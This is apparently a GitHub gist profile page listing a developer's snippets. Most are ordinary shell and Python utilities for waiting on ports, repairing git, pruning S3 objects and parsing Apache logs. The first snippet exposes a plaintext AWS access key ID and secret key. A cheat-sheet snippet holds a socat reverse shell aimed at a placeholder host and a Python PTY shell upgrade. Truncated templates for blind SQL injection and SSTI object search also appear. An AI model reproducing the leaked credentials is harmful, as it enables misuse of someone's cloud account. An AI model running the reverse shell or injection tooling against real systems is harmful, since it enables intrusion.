Skip to content

Instantly share code, notes, and snippets.

View mfakbar127's full-sized avatar
๐Ÿ 
Working from home

Muh. Fani Akbar mfakbar127

๐Ÿ 
Working from home
View GitHub Profile
export AWS_ACCESS_KEY_ID=AKIAV4VAJD54YV77UM5R
export AWS_SECRET_ACCESS_KEY=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
export AWS_REGION=us-east-2
@mfakbar127
mfakbar127 / wait-for-it.sh
Created March 27, 2022 09:17
Script to wait for the rabbitmq service to get READY
#!/bin/sh
# wait-for-it.sh
# Script to wait for the rabbitmq service to get READY
# Usage : ./wait-for-it.sh <HOST> <PORT>
# set -e
host="$1"
port="$2"
@mfakbar127
mfakbar127 / git_fix.sh
Created December 28, 2021 06:23
fatal: loose object X (stored in .git/objects/82/X) is corrupt
#! /bin/sh
# TAKEN FROM stackoverflow, but i forgot its source
# Save Git data
cp -r .git gitold
# Remove all empty Git object files
find .git -type f -empty -delete -print
@mfakbar127
mfakbar127 / emojiparty.zsh-theme
Created December 14, 2021 05:16 — forked from brennv/emojiparty.zsh-theme
An emoji happy oh-my-zsh theme: a blend of random-emoji and terminalparty
# emojiparty: a blend of random-emoji and terminalparty
PROMPT_EMOJI=(๐Ÿถ ๐Ÿฑ ๐Ÿญ ๐Ÿน ๐Ÿฐ ๐Ÿป ๐Ÿผ ๐Ÿจ ๐Ÿฏ ๐Ÿฆ ๐Ÿฎ ๐Ÿท ๐Ÿฝ ๐Ÿต ๐Ÿ™ˆ ๐Ÿ™‰ ๐Ÿ™Š ๐Ÿ’ ๐Ÿ” ๐Ÿง \
๐Ÿฆ ๐Ÿค ๐Ÿฃ ๐Ÿฅ ๐Ÿบ ๐Ÿ— ๐Ÿด ๐Ÿฆ„ ๐Ÿ ๐Ÿ› ๐ŸŒ ๐Ÿœ ๐Ÿ•ท ๐Ÿฆ‚ ๐Ÿ  ๐ŸŸ ๐Ÿก ๐Ÿฌ ๐Ÿณ ๐Ÿ‹ ๐Ÿ† ๐Ÿ… ๐Ÿƒ ๐Ÿ‚ \
๐Ÿ„ ๐Ÿช ๐Ÿซ ๐Ÿ˜ ๐Ÿ ๐Ÿ ๐Ÿ‘ ๐ŸŽ ๐Ÿ– ๐Ÿ€ ๐Ÿ ๐Ÿ“ ๐Ÿฆƒ ๐Ÿ•Š ๐Ÿ• ๐Ÿฉ ๐Ÿˆ ๐Ÿ‡ ๐Ÿฟ ๐ŸŽ‹ ๐Ÿ‚ ๐ŸŒพ ๐ŸŒบ \
๐ŸŒป ๐ŸŒท ๐ŸŒผ ๐ŸŒธ ๐Ÿ’ ๐ŸŒฐ ๐ŸŽƒ ๐Ÿš ๐Ÿ•ธ ๐Ÿš• ๐Ÿš™ ๐ŸšŒ ๐ŸšŽ ๐Ÿš“ ๐Ÿš‘ ๐Ÿš ๐Ÿšš ๐Ÿšœ ๐Ÿ ๐Ÿšฒ ๐Ÿš” ๐Ÿš ๐Ÿš˜ ๐Ÿš– \
๐Ÿšก ๐ŸšŸ ๐Ÿšƒ ๐Ÿš‹ ๐Ÿš… ๐Ÿšˆ ๐Ÿšž ๐Ÿš† ๐Ÿš‡ ๐ŸšŠ ๐Ÿš‰ ๐Ÿš ๐Ÿ›ฉ ๐Ÿ›ซ ๐Ÿ›ฌ โ›ต๏ธ ๐Ÿ›ฅ ๐Ÿšค โ›ด ๐Ÿ›ณ ๐Ÿš€ ๐Ÿ›ฐ ๐Ÿ’บ ๐Ÿšง \
๐Ÿ˜€ ๐Ÿ˜ฌ ๐Ÿ˜ ๐Ÿ˜ƒ ๐Ÿ˜„ ๐Ÿ˜… ๐Ÿ˜† ๐Ÿ˜‡ ๐Ÿ˜‰ ๐Ÿ˜Š ๐Ÿ™‚ ๐Ÿ™ƒ ๐Ÿ˜‹ ๐Ÿ˜Œ ๐Ÿ˜ ๐Ÿ˜˜ ๐Ÿ˜— ๐Ÿ˜™ ๐Ÿ˜š ๐Ÿ˜œ ๐Ÿ˜ ๐Ÿ˜› ๐Ÿค‘ ๐Ÿค“ \
๐Ÿ˜Ž ๐Ÿค— ๐Ÿ˜ ๐Ÿ˜ถ ๐Ÿ˜ ๐Ÿ˜‘ ๐Ÿ˜’ ๐Ÿ™„ ๐Ÿค” ๐Ÿ˜ณ ๐Ÿ˜ž ๐Ÿ˜Ÿ ๐Ÿ˜  ๐Ÿ˜” ๐Ÿ˜• ๐Ÿ™ ๐Ÿ˜ฃ ๐Ÿ˜– ๐Ÿ˜ฏ ๐Ÿ˜ฆ ๐Ÿ˜ง ๐Ÿ˜ต ๐Ÿ˜ฒ ๐Ÿค \
๐Ÿ˜ท ๐Ÿค’ ๐Ÿค• ๐Ÿ˜ด ๐Ÿ’ค ๐Ÿ’€ ๐Ÿ‘ฝ ๐Ÿค– ๐Ÿ˜บ ๐Ÿ˜ธ ๐Ÿ˜ป ๐Ÿ˜ผ ๐Ÿ˜ฝ ๐Ÿ˜พ โšฝ๏ธ ๐Ÿ€ ๐Ÿˆ ๐Ÿ ๐Ÿ‰ ๐ŸŽฑ ๐ŸŒ ๐Ÿธ ๐Ÿ’ ๐Ÿ‘ \
@mfakbar127
mfakbar127 / wait_for_tcp_socket_ready.sh
Created November 18, 2021 04:16
Waiting for TCP connection is up using simple bash script
#!/bin/sh
# source : https://github.com/aanand/docker-wait/blob/master/wait
set -e
host=$(env | grep _TCP_ADDR | cut -d = -f 2)
port=$(env | grep _TCP_PORT | cut -d = -f 2)
echo -n "waiting for TCP connection to $host:$port..."
@mfakbar127
mfakbar127 / sqli_exp_binary_search_string.py
Created July 11, 2021 13:12 — forked from waderwu/sqli_exp_binary_search_string.py
sqli blind binary search template
#!/usr/bin/env python3
import requests
client = requests.Session()
debug = False
def post(url, data, headers=None, proxy=False):
if not headers:
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'
@mfakbar127
mfakbar127 / retention_delete_s3.sh
Created June 15, 2021 08:21
Retention delete bash script S3
# Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3
aws s3 ls BUCKETNAME/ | while read -r line;
do
createDate=`echo $line|awk {'print $1" "$2'}`
createDate=`date -d"$createDate" +%s`
olderThan=`date --date "7 days ago" +%s`
if [[ $createDate -lt $olderThan ]]
then
fileName=`echo $line|awk {'print $4'}`
@mfakbar127
mfakbar127 / apache2_logs_parse.py
Created May 13, 2021 14:06
read apache logs using pandas
# Source : https://mmas.github.io/read-apache-access-log-pandas
# https://mmas.github.io/analyze-apache-access-log-pandas
import re
import pandas as pd
from datetime import datetime
import pytz
from IPython import embed
@mfakbar127
mfakbar127 / pet-snippet.toml
Last active April 19, 2024 00:13
description
[[snippets]]
description = "Python PTY Bash"
command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
output = "\"\""
[[snippets]]
description = "[Reverse Shell] Socat Reverse Shell"
command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim"
output = "\"\""
@mfakbar127
mfakbar127 / search.py
Created July 9, 2019 03:26
SSTI Search
# search.py
# Source https://ctftime.org/writeup/10851
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj